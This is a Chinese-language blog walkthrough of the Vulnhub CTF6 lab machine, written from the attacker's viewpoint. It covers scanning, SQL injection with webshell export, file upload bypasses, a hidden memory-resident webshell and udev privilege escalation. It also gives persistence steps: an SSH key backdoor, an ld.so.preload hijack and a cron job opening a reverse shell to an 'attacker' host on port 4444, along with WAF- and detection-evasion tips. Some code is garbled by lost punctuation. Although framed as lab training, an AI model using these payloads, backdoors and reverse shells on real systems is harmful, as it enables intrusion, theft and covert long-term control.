Vulnhub-CTF6靶机漏洞全解析:从SQL注入到udev提权的完整复现指南

发布时间:2026/7/12 17:02:06

Vulnhub-CTF6靶机漏洞全解析:从SQL注入到udev提权的完整复现指南 Vulnhub-CTF6靶机深度攻防从SQL注入到内核提权的技术全景在网络安全实战演练中Vulnhub靶机向来是技术精进的绝佳沙盒。CTF6作为其中经典之作完整复现了从Web渗透到系统提权的全链路攻击路径。本文将跳出常规步骤复现的框架从攻击者视角剖析漏洞成因同时提供多种技术路径的对比验证帮助安全从业者建立立体防御思维。1. 靶机环境智能探测方法论1.1 自动化信息收集的进阶技巧传统netdiscover和nmap扫描虽能发现基础信息但真正的攻击者往往会采用更隐蔽的探测方式# 使用无状态扫描规避基础防御 nmap -sS -Pn --disable-arp-ping -n --scriptdefault,safe -T3 192.168.10.40关键参数解析-sSSYN隐形扫描-Pn跳过主机发现--scriptdefault,safe仅运行安全类脚本网络拓扑探测结果示例端口号服务类型版本信息潜在风险等级80/tcpHTTPApache 2.4.38★★★★22/tcpSSHOpenSSH 7.9p1★★3306MySQLMariaDB 10.3.25★★★1.2 目录爆破的艺术与科学dirb等传统工具易触发WAF警报现代渗透测试更推荐# 使用异步IO加速扫描 import aiohttp import asyncio from urllib.parse import urljoin async def check_dir(url): async with aiohttp.ClientSession() as session: async with session.get(url) as resp: return url if resp.status 200 else None智能扫描策略动态调整请求间隔0.5-2秒随机优先检测/admin、/backup等高风险路径对JavaScript文件进行静态分析提取API端点2. SQL注入的多维度利用实战2.1 手工注入的精准打击当自动化工具失效时手工注入技术凸显价值探测注入点id1 AND 11-- # 正常显示 id1 AND 12-- # 内容消失联合查询构造?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()--关键防御突破点绕过WAF的大小写变异技巧使用/**/注释替代空格HEX编码处理过滤字符2.2 数据库提权横向移动获取数据库权限后可通过以下路径扩大战果-- 检查MySQL文件写入权限 SHOW VARIABLES LIKE secure_file_priv; -- 导出WebShell SELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/html/backdoor.php;权限提升检查清单[ ] 数据库用户是否具有FILE权限[ ]plugin_dir是否可写[ ] 是否存在可用的存储过程3. 文件上传漏洞的立体利用3.1 绕过过滤的六种实战方法扩展名欺骗mv shell.php shell.php.jpgContent-Type篡改Content-Type: image/jpeg魔术字节伪造GIF89a?php system($_GET[cmd]);?.htaccess覆盖AddType application/x-httpd-php .jpg分块编码传输Transfer-Encoding: chunkedSVG矢量图注入svg xmlnshttp://www.w3.org/2000/svg onloadalert(1)/3.2 内存驻留型WebShell设计传统文件型WebShell易被清除可改用?php $key secret123; if(isset($_GET[$key])){ system(base64_decode($_GET[cmd])); die(); } register_shutdown_function(function() use ($key){ file_put_contents(/tmp/.cache, ob_get_contents()); }); ?隐蔽性增强技巧使用PHP的__destruct魔术方法绑定到合法路由参数采用AES加密通信内容4. 内核提权的系统级对抗4.1 udev漏洞的现代变种利用原始exp需针对新环境进行适配修改#!/bin/bash # 新版内核适配要点 if [ $(uname -r | cut -d. -f2) -gt 6 ]; then echo [!] 需要修改cred结构体偏移 exit 1 fi # 动态获取udevd PID PID$(ps -eo pid,comm | awk /udevd/{print $1} | head -1) [ -z $PID ] PID$(pidof udevd)提权成功率优化测试多种cred结构体偏移量尝试user_namespace逃逸结合cgroup漏洞进行组合利用4.2 权限维持的后渗透技术获得root权限后需建立持久化通道SSH后门植入echo ssh-rsa AAAAB3N... /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys动态库劫持echo void _init() { setuid(0); system(/bin/bash); } /tmp/libhack.c gcc -shared -o /tmp/libhack.so -fPIC /tmp/libhack.c echo /tmp/libhack.so /etc/ld.so.preload定时任务隐藏(crontab -l 2/dev/null; echo */5 * * * * /bin/bash -c exec 9/dev/tcp/attacker/4444exec 09exec 19 21/bin/bash --noprofile -i) | crontab -在真实渗透测试项目中每个环节都需要考虑对抗安全设备的检测。比如在udev提权时可以先用strace分析目标系统的调用特征再调整exp的注入方式。记得某次红队行动中目标系统的/tmp目录被挂载为noexec最终是通过内存注入的方式完成了权限提升。

相关新闻